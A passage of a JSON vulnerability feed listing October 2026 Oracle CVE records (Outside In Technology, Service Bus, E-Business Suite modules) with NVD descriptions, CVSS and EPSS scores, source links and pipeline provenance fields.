Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:18.103Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87397","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00392,"percentile":0.32999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87397&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87397","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87397","type":"primary","publishedAt":"2026-10-20T22:20:18.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87397&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87397, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87395","cveId":"CVE-2026-87395","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:17.860Z","updatedAt":"2026-10-22T19:18:03.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87395","asOf":"2026-10-22T19:18:03.150Z"},"epss":{"probability":0.00441,"percentile":0.3801,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87395&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87395","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87395","type":"primary","publishedAt":"2026-10-20T22:20:17.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87395&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87395, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87394","cveId":"CVE-2026-87394","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:17.740Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87394","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00425,"percentile":0.36502,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87394&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87394","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87394","type":"primary","publishedAt":"2026-10-20T22:20:17.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87394&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87394, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87369","cveId":"CVE-2026-87369","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).","summary":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Service Bus. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Service Bus. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:14.853Z","updatedAt":"2026-10-22T19:18:03.037Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87369","asOf":"2026-10-22T19:18:03.037Z"},"epss":{"probability":0.00441,"percentile":0.38009,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87369&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87369","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87369","type":"primary","publishedAt":"2026-10-20T22:20:14.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87369&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87369, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87364","cveId":"CVE-2026-87364","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).","summary":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:14.370Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87364","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00447,"percentile":0.38567,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87364&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87364","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87364","type":"primary","publishedAt":"2026-10-20T22:20:14.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87364&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87364, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87363","cveId":"CVE-2026-87363","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:14.253Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87363","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00345,"percentile":0.27834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87363&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87363","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87363","type":"primary","publishedAt":"2026-10-20T22:20:14.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87363&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87363, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87359","cveId":"CVE-2026-87359","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).","summary":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:13.790Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87359","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00447,"percentile":0.38569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87359&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87359","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87359","type":"primary","publishedAt":"2026-10-20T22:20:13.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87359&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87359, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87358","cveId":"CVE-2026-87358","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle General Ledger.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle General Ledger accessible data as well as  unauthorized read access to a subset of Oracle General Ledger accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle General Ledger. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H).","detail":"Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle General Ledger.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle General Ledger accessible data as well as  unauthorized read access to a subset of Oracle General Ledger accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle General Ledger. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:13.670Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87358","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00302,"percentile":0.22726,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87358&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87358","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87358","type":"primary","publishedAt":"2026-10-20T22:20:13.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87358&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87358, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87357","cveId":"CVE-2026-87357","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Order Capture product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Order Capture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Order Capture.  Successful attacks of this vulnerability can result in takeover of Order Capture. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Order Capture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Order Capture.  Successful attacks of this vulnerability can result in takeover of Order Capture. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:13.553Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87357","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00465,"percentile":0.40021,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87357&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87357","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87357","type":"primary","publishedAt":"2026-10-20T22:20:13.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87357&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87357, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87356","cveId":"CVE-2026-87356","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Applications Platform Engineering product of Oracle E-Business Suite (component: Valid Session).","summary":"Vulnerability in the Applications Platform Engineering product of Oracle E-Business Suite (component: Valid Session).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications Platform Engineering executes to compromise Applications Platform Engineering.  Successful attacks of this vulnerability can result in takeover of Applications Platform Engineering. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Applications Platform Engineering product of Oracle E-Business Suite (component: Valid Session).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications Platform Engineering executes to compromise Applications Platform Engineering.  Successful attacks of this vulnerability can result in takeover of Applications Platform Engineering. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:13.427Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87356","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00151,"percentile":0.04191,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87356&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87356","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87356","type":"primary","publishedAt":"2026-10-20T22:20:13.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the 